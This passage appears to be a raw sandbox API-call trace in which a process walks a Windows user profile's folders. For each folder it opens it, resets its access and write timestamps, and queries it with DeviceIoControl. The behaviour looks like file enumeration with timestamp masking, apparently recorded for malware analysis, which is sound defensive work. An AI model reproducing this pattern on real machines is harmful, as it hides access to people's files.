(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.619] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.619] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.621] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.622] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-xRIgqtPt1rrC1WIjMoq" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-xrigqtpt1rrc1wijmoq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.622] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.622] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kjClKYL3zGGxA" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kjclkyl3zggxa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.625] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.625] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M9azZi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9azzi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.628] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.628] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.630] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.630] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1vCeqaf2yChWH" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1vceqaf2ychwh"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.632] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.632] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1vCeqaf2yChWH\\3ZNRJaarlT6D2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1vceqaf2ychwh\\3znrjaarlt6d2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.634] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.634] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1vCeqaf2yChWH\\Afm4BZ" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1vceqaf2ychwh\\afm4bz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.637] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.638] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\74Grm_JauGF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\74grm_jaugf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.641] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.641] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aedX- kjBU63TuRwFBcE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aedx- kjbu63turwfbce"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.641] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.641] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.645] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.645] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.646] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.646] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.648] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.648] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.648] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.648] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.649] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.649] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.651] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.651] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.652] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.652] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.654] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.654] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.657] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.657] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.659] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.659] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.662] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.662] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_y19w97vTWM" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_y19w97vtwm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.663] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.663] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_y19w97vTWM\\bf2hRzW9ZBixztyzbN7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_y19w97vtwm\\bf2hrzw9zbixztyzbn7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.666] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.666] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_y19w97vTWM\\bf2hRzW9ZBixztyzbN7\\ypa7ixAr7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_y19w97vtwm\\bf2hrzw9zbixztyzbn7\\ypa7ixar7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.672] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.672] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_y19w97vTWM\\bf2hRzW9ZBixztyzbN7\\ypa7ixAr7\\-Tih9sRrvoyGIAKuliR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_y19w97vtwm\\bf2hrzw9zbixztyzbn7\\ypa7ixar7\\-tih9srrvoygiakulir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.678] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0255.678] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0255.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_y19w97vTWM\\bf2hRzW9ZBixztyzbN7\\ypa7ixAr7\\-Tih9sRrvoyGIAKuliR\\vH-G64W8iw4VL4UVc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_y19w97vtwm\\bf2hrzw9zbixztyzbn7\\ypa7ixar7\\-tih9srrvoygiakulir\\vh-g64w8iw4vl4uvc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.681] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0255.681] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0255.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.682] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.682] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.683] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.683] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.683] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.685] 